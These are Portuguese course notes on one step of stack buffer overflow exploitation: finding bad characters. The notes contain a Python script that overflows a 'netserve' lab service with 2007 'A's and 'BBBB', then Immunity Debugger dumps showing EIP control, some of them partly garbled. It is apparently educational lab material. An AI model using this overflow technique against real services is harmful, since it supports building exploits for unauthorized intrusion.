

Verificando BadChars

- + O objetivo agora é descobrir quais caracteres são ou não aceitos pela aplicação
- Iremos excluí-los do nosso shellcode
- Vamos enviar toda a lista da aula passada e analisar qual o comportamento de cada caractere

```
#!/usr/bin/python
import socket

bad = "<lista enorme da aula passada>"
dados = "A"*2007 + "BBBB" + bad

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97", 5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

- Só lembrar de acrescentar 0 onde precisa pra que todo hexadecimal tenha 2 dígitos
\\x1\\x2\\x3\\x4... → \\x01\\x02\\x03\\x04.... --> \\x0f
- Ao executarmos o python e acompanharmos com o immunity, vemos que a tabela não foi enviada da maneira correta, o que indica que o primeiro caractere já é um inválido

CPU - thread 00003A7C

Registers (FPU)

EAX	00F4F238	ASCII	"SEND AAAAAAAAAAAAAAAAAA"
ECX	00D450FC		
EDX	00000000		
EBX	0000010C		
ESP	00F4FA18		
EBP	41414141		
ESI	004018F0	netserve.004018F0	
EDI	004018F0	netserve.004018F0	
EIP	42424242		
C 0	ES 002B	32bit 0<FFFFFFFF>	
P 1	CS 0023	32bit 0<FFFFFFFF>	
A 0	SS 002B	32bit 0<FFFFFFFF>	

Address	Hex dump	ASCII
00F4F998	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4F9A8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4F9B8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4F9C8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4F9D8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4F9E8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4F9F8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4FA08	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
00F4FA18	00 49 D4 00 00 35 D4 00 00 0B 00 00 00 00 00 00	.IE.C5E.06.....
00F4FA28	70 01 00 01 0C 01 00 00 00 F1 70 00 00 00 70 00	pG.GUQ..p...p..
00F4FA38	3C 01 00 00 00 F1 70 00 00 F1 70 00 C6 01 00 00	<G..p.p.p.p.p..
00F4FA48	00 00 00 00 03 00 00 00 F0 04 00 00 00 00 00 00	...v...+.....
00F4FA58	88 F1 70 00 70 00 01 00 10 AD 70 00 38 00 00 00	ztp.p.G..ip.8...
00F4FA68	03 00 00 03 00 00 00 00 BC 01 00 00 10 AD 70 00	v..v...uG..ip..
00F4FA78	B7 F1 70 00 10 FB F4 00 03 00 00 03 00 FC F4 00	h+tp.p..p..v..v..p.
00F4FA88	20 AF 50 77 F0 64 4C DC FE FF FF FF 28 FB F4 00	>>Xw-dL...<^p.
00F4FA98	6C 6E 55 77 44 00 00 00 50 00 00 00 CC 02 70 00	InlUwD...P... Op.
00F4FAA8	F8 FA F4 00 10 00 00 00 00 00 70 00 20 00 00 00	"p.p...p.<...<
00F4FAB8	30 00 00 00 0C 02 70 00 10 FB F4 00 11 00 00 00	0...Op.p..p..<
00F4FAC8	00 00 70 00 00 00 00 00 CC 01 00 00 00 00 00 00	...p... G...>
00F4FAD8	00 00 00 00 50 00 00 00 03 00 00 00 9E 7F A5 76	...P...v...x0Nu
00F4FAE8	05 D2 94 1E 01 00 00 00 02 00 00 00 2C B2 6B 74	5E0A0...0...kt
00F4FAF8	FB 00 7E DE 01 00 00 00 02 00 00 00 00 00 6B 74	^ncl0...0...kt
00F4FBB8	00 00 00 00 02 00 00 00 44 00 00 00 F8 FA F4 00	...0...D...0..p.
00F4FBC8	00 F1 70 00 04 FB F4 00 50 AE 6B 74 E7 58 04 00	ztp.p..p..p..p..p..
00F4FBD8	FE FF FF FF 94 FB F4 00 5C A1 6B 74 02 A1 6B 74	..0^p..\\iktéikt
00F4FBE8	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F4FB08	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F4FB18	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F4FB28	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F4FB38	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F4FB48	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00F4FA18	00D449F0
00F4FA1C	00D435E0
00F4FA20	00000000
00F4FA24	00000000
00F4FA28	01000170
00F4FA2C	00000110
00F4FA30	0070F110
00F4FA34	00700000
00F4FA38	00000130
00F4FA3C	0070F110
00F4FA40	0070F110
00F4FA44	000001C0
00F4FA48	00000000
00F4FA4C	00000000
00F4FA50	00000410
00F4FA54	00000000
00F4FA58	0070F110
00F4FA5C	00010070
00F4FA60	0070AD10
00F4FA64	00000030
00F4FA68	03000000
00F4FA6C	00000010
00F4FA70	00000110
00F4FA74	0070AD10
00F4FA78	0070F110
00F4FA7C	00F4FB10
00F4FA80	03000000
00F4FA84	00F4FC00
00F4FA88	7758AF20

- Agora vamos excluir o \\x00 do pacote e tentar novamente

Registers (FPU)		
EAX	00DBF238	ASCII "SEND AAAAAAAAAAAAA"
ECX	009B527C	
EDX	00000000	
EBX	00000110	
ESP	00DBFA18	
EBP	41414141	
ESI	004018F0	netserve.004018F0
EDI	004018F0	netserve.004018F0
EIP	42424242	
C	0	ES 002B 32bit 0<FFFFFFFF>
P	1	CS 0023 32bit 0<FFFFFFFF>
A	0	SS 002B 32bit 0<FFFFFFFF>

Address	Hex dump	ASCII
00DBFA18	01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10	01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
00DBFA20	11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20	11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
00DBFA30	21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30	21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30
00DBFA40	31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40	31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40
00DBFA50	41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50	41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50
00DBFA60	51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60	51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60
00DBFA70	61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70	61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70
00DBFA80	71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80	71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80
00DBFA90	81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90	81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90
00DBFAA0	91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0	91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0
00DBFAB0	A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0	A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0
00DBFAC0	B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0	B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0
00DBFAD0	C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0	C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0
00DBFAE0	D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0	D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0
00DBFAF0	F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF	F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF
00DBFB00	00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F	00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00DBFB10	10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F	10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F
00DBFB20	20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F	20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F
00DBFB30	30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F	30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F
00DBFB40	40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F	40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F
00DBFB50	50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F	50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F
00DBFB60	60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F	60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F
00DBFB70	70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F	70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F
00DBFB80	80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F	80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F

- Agora temos a sequência mais completa
- Precisamos verificar um por um dos caracteres pra ver qual está faltando
- Quando um caractere não é aceito, todo o resto na frente dele é desalinhado
- Normamente, os inválidos são: \x00\x0a\x0d